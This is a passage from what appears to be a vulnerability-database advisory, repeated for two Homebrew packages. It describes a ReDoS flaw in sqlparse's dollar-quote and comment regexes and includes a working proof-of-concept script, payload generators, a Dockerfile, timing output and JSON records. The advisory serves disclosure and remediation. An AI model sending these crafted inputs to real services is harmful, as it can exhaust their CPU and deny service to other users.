Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.

Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.

Reproduction artifacts

`Dockerfile`

FROM python:3.11-slim

# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the sqlparse repository source code
COPY repo/ /app/repo/

# Install sqlparse from local source in editable mode
RUN pip install --no-cache-dir -e /app/repo/

# Copy the PoC script (build context is the parent of vuln-001/)
COPY vuln-001/poc.py /app/poc.py

# Default: run the PoC
CMD ["python3", "/app/poc.py"]

`poc.py`

"""
PoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)

Affected code: sqlparse/keywords.py:33
    (r'((?<![\\w\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal)

The backreference \\1 forces the regex engine to scan the entire remaining input
for each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.

Attack input: a sequence of N unique, never-closed dollar-quote openers
    $a0$x $a1$x $a2$x ... $a{N-1}$x

Each opener $ai$ is unique, so the regex engine must exhaust the remaining
string before concluding no match exists.  With N openers this creates
O(N^2) regex work.

Expected observation: elapsed time grows quadratically (roughly 4x per 2x N).
PASS criterion: timing ratio between n=2000 and n=1000 >= 3.0 (clear super-linear).
"""

import sys
import time

try:
    import sqlparse
    from sqlparse.exceptions import SQLParseError
except ImportError as exc:
    print(f"[ERROR] Cannot import sqlparse: {exc}", file=sys.stderr)
    sys.exit(2)

print("=" * 60)
print("VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex")
print("=" * 60)
print(f"sqlparse version: {sqlparse.__version__}")
print()


def make_payload(n: int) -> str:
    """Generate N unique unmatched dollar-quote openers.

    Each token '$ai$x' looks like an opening dollar-quote delimiter
    but never has a closing delimiter, so the regex engine must scan
    the entire remaining string before giving up on each one.
    """
    return " ".join(f"$a{i}$x" for i in range(n))


results = []

sample_sizes = [250, 500, 1000, 2000]

for n in sample_sizes:
    payload = make_payload(n)
    byte_len = len(payload.encode())
    t_start = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as exc:
        status = f"SQLParseError({exc})"
    except Exception as exc:
        status = f"Exception({type(exc).__name__}: {exc})"
    elapsed = time.perf_counter() - t_start

    results.append((n, byte_len, elapsed, status))
    print(f"n={n:>5}  bytes={byte_len:>7}  elapsed={elapsed:>8.3f}s  status={status}")

print()

# Compute scaling ratios between consecutive sample sizes
print("Scaling analysis (O(n^2) expected -> ratio >= ~4x per 2x input):")
for i in range(1, len(results)):
    n_prev, _, t_prev, _ = results[i - 1]
    n_curr, _, t_curr, _ = results[i]
    if t_prev > 0:
        ratio = t_curr / t_prev
        n_ratio = n_curr / n_prev
        print(f"  n={n_prev} -> n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x")

print()

# PASS/FAIL verdict based on timing ratio between largest two points
_, _, t_1000, _ = results[2]  # n=1000
_, _, t_2000, _ = results[3]  # n=2000

PASS_THRESHOLD = 3.0

if t_1000 > 0:
    ratio_1000_2000 = t_2000 / t_1000
else:
    ratio_1000_2000 = 0.0

print(f"Key ratio (n=1000 -> n=2000): {ratio_1000_2000:.2f}x")

if ratio_1000_2000 >= PASS_THRESHOLD:
    print()
    print("[PASS] Super-linear (O(n^2)) scaling CONFIRMED.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x >= threshold {PASS_THRESHOLD}x.")
    print("       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.")
    sys.exit(0)
else:
    print()
    print("[FAIL] Super-linear scaling NOT confirmed within this run.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x < threshold {PASS_THRESHOLD}x.")
    print("       The host may be too fast or JIT effects obscured the result.")
    print("       Try larger sample sizes or re-run on a slower host.")
    sys.exit(1)

Severity

7.5 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

URL

Type

	https://github.com/andialbrecht/sqlparse/security…	WEB
	https://github.com/andialbrecht/sqlparse/commit/d…	WEB
	https://github.com/andialbrecht/sqlparse	PACKAGE

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "sqlparse",
        "resource_purl": "pkg:pypi/sqlparse@0.6.0",
        "upstream_fixed_in": "0.6.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "dolphie",
        "purl": "pkg:brew/dolphie"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/sqlparse@0.6.0",
        "name": "sqlparse",
        "resource": "sqlparse",
        "strategy": "registry",
        "subject_version": "0.6.0"
      }
    ]
  },
  "details": "### Summary\n\nsqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\\1`) to match closing dollar-quote delimiters, causing O(n\u00b2) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.\n\n**Scope note:** the same regex shape \u2014 a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop \u2014 is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see \"Additional affected pattern: multiline comments\" below.\n\n### Details\n\nThe vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:\n\n```python\n# sqlparse/keywords.py:33\n(r\u0027((?\u003c![\\w\\\"\\$])\\$(?:[_A-Z\u00c0-\u00dc]\\w*)?\\$)[\\s\\S]*?\\1\u0027, tokens.Literal),\n```\n\nThis pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\\s\\S]*?`) up to the same delimiter again via backreference `\\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N\u00b2) total regex work.\n\nThe lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):\n\n```python\n# sqlparse/lexer.py:136-138\nfor pos, char in iterable:\n    for rexmatch, action in self._SQL_REGEX:\n        m = rexmatch(text, pos)\n```\n\nThe data flow from public API to the vulnerable sink is:\n\n1. `sqlparse/__init__.py:20` \u2014 `parse(sql)` accepts caller-controlled SQL.\n2. `sqlparse/__init__.py:29` \u2014 delegates to `parsestream(sql, encoding)`.\n3. `sqlparse/__init__.py:43` \u2014 `FilterStack.run(stream, encoding)` is invoked.\n4. `sqlparse/engine/filter_stack.py:31` \u2014 `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.\n5. `sqlparse/lexer.py:137` \u2014 every regex in `_SQL_REGEX` is tried at the current position.\n6. `sqlparse/keywords.py:33` \u2014 the backreference regex performs repeated delimiter searches.\n\nThe `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.\n\nEmpirically measured scaling confirms super-linear complexity:\n\n| Input (N unique openers) | Bytes  | Elapsed  |\n|--------------------------|--------|----------|\n| 250                      | 1,889  | 0.066 s  |\n| 500                      | 3,889  | 0.144 s  |\n| 1,000                    | 7,889  | 0.397 s  |\n| 2,000                    | 16,889 | 1.314 s  |\n\nThe timing ratio from n=1000 to n=2000 is **3.31\u00d7** (input doubled \u2192 time tripled), confirming O(n\u00b2) growth.\n\n### PoC\n\n**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).\n\n**Using Docker (isolated reproduction):**\n\n```bash\n# Build from the repository root (parent of vuln-001/)\ndocker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .\n\n# Run with no network access\ndocker run --rm --network=none sqlparse-vuln001\n```\n\n**Direct Python reproduction:**\n\n```python\nimport time\nimport sqlparse\nfrom sqlparse.exceptions import SQLParseError\n\ndef make_payload(n: int) -\u003e str:\n    # N unique unmatched dollar-quote openers \u2014 none have a matching closing delimiter\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\nfor n in [250, 500, 1000, 2000]:\n    payload = make_payload(n)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as e:\n        status = f\"SQLParseError: {e}\"\n    elapsed = time.perf_counter() - t0\n    print(f\"n={n:\u003e5}  bytes={len(payload):\u003e7}  elapsed={elapsed:.3f}s  status={status}\")\n```\n\n**Expected output (super-linear scaling confirms ReDoS):**\n\n```\nn=  250  bytes=   1889  elapsed=0.066s  status=ok\nn=  500  bytes=   3889  elapsed=0.144s  status=ok\nn= 1000  bytes=   7889  elapsed=0.397s  status=ok\nn= 2000  bytes=  16889  elapsed=1.314s  status=ok\n\nKey ratio (n=1000 -\u003e n=2000): 3.31x\n[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\n```\n\n**Attack input structure:**\n\n```\n$a0$x $a1$x $a2$x ... $a{N-1}$x\n```\n\nEach token `$ai$x` resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.\n\n**Remediation (proposed patch):**\n\nReplace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with `re.finditer`, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See `report_excerpt.md` for the full diff.\n\n### Additional affected pattern: multiline comments\n\nReported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.\n\nTwo further entries in `SQL_REGEX` use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:\n\n```python\n# sqlparse/keywords.py:20\n(r\u0027/\\*\\+[\\s\\S]*?\\*/\u0027, tokens.Comment.Multiline.Hint),\n# sqlparse/keywords.py:23\n(r\u0027/\\*[\\s\\S]*?\\*/\u0027,    tokens.Comment.Multiline),\n```\n\nA backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (`sqlparse/lexer.py:136-138`): an unterminated `/*` scans to the end of the input and fails, so N unclosed openers cost O(N\u00b2).\n\n**PoC**\n\n```python\nimport time, sqlparse\n\nfor n in (2000, 4000, 8000, 16000):\n    payload = \"/*x \" * n\n    t0 = time.perf_counter()\n    sqlparse.parse(payload)\n    print(f\"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s\")\n```\n\nLexing-only timings on `0.5.6.dev0` (commit `f80af6a`), isolating the regex work from grouping:\n\n| openers | bytes | lexing |\n|---------|-------|--------|\n| 2,000   | 8 KB  | 0.057 s |\n| 4,000   | 16 KB | 0.196 s |\n| 8,000   | 32 KB | 0.729 s |\n| 16,000  | 64 KB | 2.717 s |\n\nRoughly 3.7x per doubling of the input, i.e. quadratic.\n\n**Note for reproduction:** `\"/*\" * n` on its own is *linear* and does not reproduce the issue \u2014 in `/*/*/*...` the openers form overlapping `*/` pairs, so the pattern matches immediately. The opener must be padded (e.g. `\"/*x \"`) so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.\n\n### Impact\n\nThis is a **Regular Expression Denial of Service (ReDoS)** vulnerability. Any application or service that passes user-controlled SQL text to `sqlparse.parse()`, `sqlparse.format()`, or `sqlparse.split()` is affected. No authentication, special configuration, or elevated privileges are required \u2014 a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.\n\nUnder sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.\n\nAffected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install build dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    build-essential \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the sqlparse repository source code\nCOPY repo/ /app/repo/\n\n# Install sqlparse from local source in editable mode\nRUN pip install --no-cache-dir -e /app/repo/\n\n# Copy the PoC script (build context is the parent of vuln-001/)\nCOPY vuln-001/poc.py /app/poc.py\n\n# Default: run the PoC\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)\n\nAffected code: sqlparse/keywords.py:33\n    (r\u0027((?\u003c![\\\\w\\\\\"\\\\$])\\\\$(?:[_A-Z\u00c0-\u00dc]\\\\w*)?\\\\$)[\\\\s\\\\S]*?\\\\1\u0027, tokens.Literal)\n\nThe backreference \\\\1 forces the regex engine to scan the entire remaining input\nfor each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.\n\nAttack input: a sequence of N unique, never-closed dollar-quote openers\n    $a0$x $a1$x $a2$x ... $a{N-1}$x\n\nEach opener $ai$ is unique, so the regex engine must exhaust the remaining\nstring before concluding no match exists.  With N openers this creates\nO(N^2) regex work.\n\nExpected observation: elapsed time grows quadratically (roughly 4x per 2x N).\nPASS criterion: timing ratio between n=2000 and n=1000 \u003e= 3.0 (clear super-linear).\n\"\"\"\n\nimport sys\nimport time\n\ntry:\n    import sqlparse\n    from sqlparse.exceptions import SQLParseError\nexcept ImportError as exc:\n    print(f\"[ERROR] Cannot import sqlparse: {exc}\", file=sys.stderr)\n    sys.exit(2)\n\nprint(\"=\" * 60)\nprint(\"VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex\")\nprint(\"=\" * 60)\nprint(f\"sqlparse version: {sqlparse.__version__}\")\nprint()\n\n\ndef make_payload(n: int) -\u003e str:\n    \"\"\"Generate N unique unmatched dollar-quote openers.\n\n    Each token \u0027$ai$x\u0027 looks like an opening dollar-quote delimiter\n    but never has a closing delimiter, so the regex engine must scan\n    the entire remaining string before giving up on each one.\n    \"\"\"\n    return \" \".join(f\"$a{i}$x\" for i in range(n))\n\n\nresults = []\n\nsample_sizes = [250, 500, 1000, 2000]\n\nfor n in sample_sizes:\n    payload = make_payload(n)\n    byte_len = len(payload.encode())\n    t_start = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \"ok\"\n    except SQLParseError as exc:\n        status = f\"SQLParseError({exc})\"\n    except Exception as exc:\n        status = f\"Exception({type(exc).__name__}: {exc})\"\n    elapsed = time.perf_counter() - t_start\n\n    results.append((n, byte_len, elapsed, status))\n    print(f\"n={n:\u003e5}  bytes={byte_len:\u003e7}  elapsed={elapsed:\u003e8.3f}s  status={status}\")\n\nprint()\n\n# Compute scaling ratios between consecutive sample sizes\nprint(\"Scaling analysis (O(n^2) expected -\u003e ratio \u003e= ~4x per 2x input):\")\nfor i in range(1, len(results)):\n    n_prev, _, t_prev, _ = results[i - 1]\n    n_curr, _, t_curr, _ = results[i]\n    if t_prev \u003e 0:\n        ratio = t_curr / t_prev\n        n_ratio = n_curr / n_prev\n        print(f\"  n={n_prev} -\u003e n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x\")\n\nprint()\n\n# PASS/FAIL verdict based on timing ratio between largest two points\n_, _, t_1000, _ = results[2]  # n=1000\n_, _, t_2000, _ = results[3]  # n=2000\n\nPASS_THRESHOLD = 3.0\n\nif t_1000 \u003e 0:\n    ratio_1000_2000 = t_2000 / t_1000\nelse:\n    ratio_1000_2000 = 0.0\n\nprint(f\"Key ratio (n=1000 -\u003e n=2000): {ratio_1000_2000:.2f}x\")\n\nif ratio_1000_2000 \u003e= PASS_THRESHOLD:\n    print()\n    print(\"[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\")\n    print(f\"       Time ratio {ratio_1000_2000:.2f}x \u003e= threshold {PASS_THRESHOLD}x.\")\n    print(\"       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.\")\n    sys.exit(0)\nelse:\n    print()\n    print(\"[FAIL] Super-linear scaling NOT confirmed within this run.\")\n    print(f\"       Time ratio {ratio_1000_2000:.2f}x \u003c threshold {PASS_THRESHOLD}x.\")\n    print(\"       The host may be too fast or JIT effects obscured the result.\")\n    print(\"       Try larger sample sizes or re-run on a slower host.\")\n    sys.exit(1)\n```",
  "id": "BREW-dolphie-CVE-2026-59893",
  "modified": "2026-09-12T08:52:42Z",
  "published": "2026-08-18T08:47:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/andialbrecht/sqlparse"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)",
  "upstream": [
    "GHSA-prg7-hcfm-mfcr",
    "CVE-2026-59893",
    "PYSEC-2026-3698"
  ]
}

BREW-LITECLI-CVE-2026-59893 (GHSA-PRG7-HCFM-MFCR)

Vulnerability from osv_homebrew – Published: 2026-08-18 09:06 – Updated: 2026-09-10 19:42 – Source website

Summary

sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)

Details

Summary

sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.

Details

The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:

# sqlparse/keywords.py:33
(r'((?<![\w\"\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1', tokens.Literal),

This pattern first captures a dollar-quote delimiter (e.g., $tag$ ) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):

# sqlparse/lexer.py:136-138
for pos, char in iterable:
    for rexmatch, action in self._SQL_REGEX:
        m = rexmatch(text, pos)

The data flow from public API to the vulnerable sink is:

sqlparse/__init__.py:20 — parse(sql) accepts caller-controlled SQL.
sqlparse/__init__.py:29 — delegates to parsestream(sql, encoding).
sqlparse/__init__.py:43 — FilterStack.run(stream, encoding) is invoked.
sqlparse/engine/filter_stack.py:31 — lexer.tokenize(sql, encoding) is called with no length limit or timeout.
sqlparse/lexer.py:137 — every regex in _SQL_REGEX is tried at the current position.
sqlparse/keywords.py:33 — the backreference regex performs repeated delimiter searches.

The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

Empirically measured scaling confirms super-linear complexity:

Input (N unique openers)	Bytes	Elapsed
250	1,889	0.066 s
500	3,889	0.144 s
1,000	7,889	0.397 s
2,000	16,889	1.314 s

The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.

PoC

Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).

Using Docker (isolated reproduction):

# Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .

# Run with no network access
docker run --rm --network=none sqlparse-vuln001

Direct Python reproduction:

import time
import sqlparse
from sqlparse.exceptions import SQLParseError

def make_payload(n: int) -> str:
    # N unique unmatched dollar-quote openers — none have a matching closing delimiter
    return " ".join(f"$a{i}$x" for i in range(n))

for n in [250, 500, 1000, 2000]:
    payload = make_payload(n)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as e:
        status = f"SQLParseError: {e}"
    elapsed = time.perf_counter() - t0
    print(f"n={n:>5}  bytes={len(payload):>7}  elapsed={elapsed:.3f}s  status={status}")

Expected output (super-linear scaling confirms ReDoS):

n=  250  bytes=   1889  elapsed=0.066s  status=ok
n=  500  bytes=   3889  elapsed=0.144s  status=ok
n= 1000  bytes=   7889  elapsed=0.397s  status=ok
n= 2000  bytes=  16889  elapsed=1.314s  status=ok

Key ratio (n=1000 -> n=2000): 3.31x
[PASS] Super-linear (O(n^2)) scaling CONFIRMED.

Attack input structure:

$a0$x $a1$x $a2$x ... $a{N-1}$x

Each token $ai$x resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.

Remediation (proposed patch):

Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with re.finditer, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See report_excerpt.md for the full diff.

Additional affected pattern: multiline comments

Reported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.

Two further entries in SQL_REGEX use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:

# sqlparse/keywords.py:20
(r'/\*\+[\s\S]*?\*/', tokens.Comment.Multiline.Hint),
# sqlparse/keywords.py:23
(r'/\*[\s\S]*?\*/',    tokens.Comment.Multiline),

A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (sqlparse/lexer.py:136-138): an unterminated /* scans to the end of the input and fails, so N unclosed openers cost O(N²).

PoC

import time, sqlparse

for n in (2000, 4000, 8000, 16000):
    payload = "/*x " * n
    t0 = time.perf_counter()
    sqlparse.parse(payload)
    print(f"n={n:6d}  bytes={len(payload):7d}  elapsed={time.perf_counter()-t0:.3f}s")

Lexing-only timings on 0.5.6.dev0 (commit f80af6a), isolating the regex work from grouping:

openers	bytes	lexing
2,000	8 KB	0.057 s
4,000	16 KB	0.196 s
8,000	32 KB	0.729 s
16,000	64 KB	2.717 s

Roughly 3.7x per doubling of the input, i.e. quadratic.

Note for reproduction: "/*" * n on its own is linear and does not reproduce the issue — in /*/*/*... the openers form overlapping */ pairs, so the pattern matches immediately. The opener must be padded (e.g. "/*x ") so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.

Impact

This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to sqlparse.parse(), sqlparse.format(), or sqlparse.split() is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.

Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.

Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.

Reproduction artifacts

`Dockerfile`

FROM python:3.11-slim

# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
    build-essential \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the sqlparse repository source code
COPY repo/ /app/repo/

# Install sqlparse from local source in editable mode
RUN pip install --no-cache-dir -e /app/repo/

# Copy the PoC script (build context is the parent of vuln-001/)
COPY vuln-001/poc.py /app/poc.py

# Default: run the PoC
CMD ["python3", "/app/poc.py"]

`poc.py`

"""
PoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)

Affected code: sqlparse/keywords.py:33
    (r'((?<![\\w\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal)

The backreference \\1 forces the regex engine to scan the entire remaining input
for each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.

Attack input: a sequence of N unique, never-closed dollar-quote openers
    $a0$x $a1$x $a2$x ... $a{N-1}$x

Each opener $ai$ is unique, so the regex engine must exhaust the remaining
string before concluding no match exists.  With N openers this creates
O(N^2) regex work.

Expected observation: elapsed time grows quadratically (roughly 4x per 2x N).
PASS criterion: timing ratio between n=2000 and n=1000 >= 3.0 (clear super-linear).
"""

import sys
import time

try:
    import sqlparse
    from sqlparse.exceptions import SQLParseError
except ImportError as exc:
    print(f"[ERROR] Cannot import sqlparse: {exc}", file=sys.stderr)
    sys.exit(2)

print("=" * 60)
print("VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex")
print("=" * 60)
print(f"sqlparse version: {sqlparse.__version__}")
print()


def make_payload(n: int) -> str:
    """Generate N unique unmatched dollar-quote openers.

    Each token '$ai$x' looks like an opening dollar-quote delimiter
    but never has a closing delimiter, so the regex engine must scan
    the entire remaining string before giving up on each one.
    """
    return " ".join(f"$a{i}$x" for i in range(n))


results = []

sample_sizes = [250, 500, 1000, 2000]

for n in sample_sizes:
    payload = make_payload(n)
    byte_len = len(payload.encode())
    t_start = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = "ok"
    except SQLParseError as exc:
        status = f"SQLParseError({exc})"
    except Exception as exc:
        status = f"Exception({type(exc).__name__}: {exc})"
    elapsed = time.perf_counter() - t_start

    results.append((n, byte_len, elapsed, status))
    print(f"n={n:>5}  bytes={byte_len:>7}  elapsed={elapsed:>8.3f}s  status={status}")

print()

# Compute scaling ratios between consecutive sample sizes
print("Scaling analysis (O(n^2) expected -> ratio >= ~4x per 2x input):")
for i in range(1, len(results)):
    n_prev, _, t_prev, _ = results[i - 1]
    n_curr, _, t_curr, _ = results[i]
    if t_prev > 0:
        ratio = t_curr / t_prev
        n_ratio = n_curr / n_prev
        print(f"  n={n_prev} -> n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x")

print()

# PASS/FAIL verdict based on timing ratio between largest two points
_, _, t_1000, _ = results[2]  # n=1000
_, _, t_2000, _ = results[3]  # n=2000

PASS_THRESHOLD = 3.0

if t_1000 > 0:
    ratio_1000_2000 = t_2000 / t_1000
else:
    ratio_1000_2000 = 0.0

print(f"Key ratio (n=1000 -> n=2000): {ratio_1000_2000:.2f}x")

if ratio_1000_2000 >= PASS_THRESHOLD:
    print()
    print("[PASS] Super-linear (O(n^2)) scaling CONFIRMED.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x >= threshold {PASS_THRESHOLD}x.")
    print("       ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.")
    sys.exit(0)
else:
    print()
    print("[FAIL] Super-linear scaling NOT confirmed within this run.")
    print(f"       Time ratio {ratio_1000_2000:.2f}x < threshold {PASS_THRESHOLD}x.")
    print("       The host may be too fast or JIT effects obscured the result.")
    print("       Try larger sample sizes or re-run on a slower host.")
    sys.exit(1)

Severity

7.5 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

URL

Type

	https://github.com/andialbrecht/sqlparse/security…	WEB
	https://github.com/andialbrecht/sqlparse/commit/d…	WEB
	https://github.com/andialbrecht/sqlparse	PACKAGE

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "sqlparse",
        "resource_purl": "pkg:pypi/sqlparse@0.6.0",
        "upstream_fixed_in": "0.6.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "litecli",
        "purl": "pkg:brew/litecli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.1_3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/sqlparse@0.6.0",
        "name": "sqlparse",
        "resource": "sqlparse",
        "strategy": "registry",
        "subject_version": "0.6.0"
      }
    ]
  },
  "details": "### Summary\n\nsqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\\1`) to match closing dollar-quote delimiters, causing O(n\u00b2) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.\n\n**Scope note:** the same regex shape \u2014 a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop \u2014 is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see \"Additional affected pattern: multiline comments\" below.\n\n### Details\n\nThe vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:\n\n```python\n# sqlparse/keywords.py:33\n(r\u0027((?\u003c![\\w\\\"\\$])\\$(?:[_A-Z\u00c0-\u00dc]\\w*)?\\$)[\\s\\S]*?\\1\u0027, 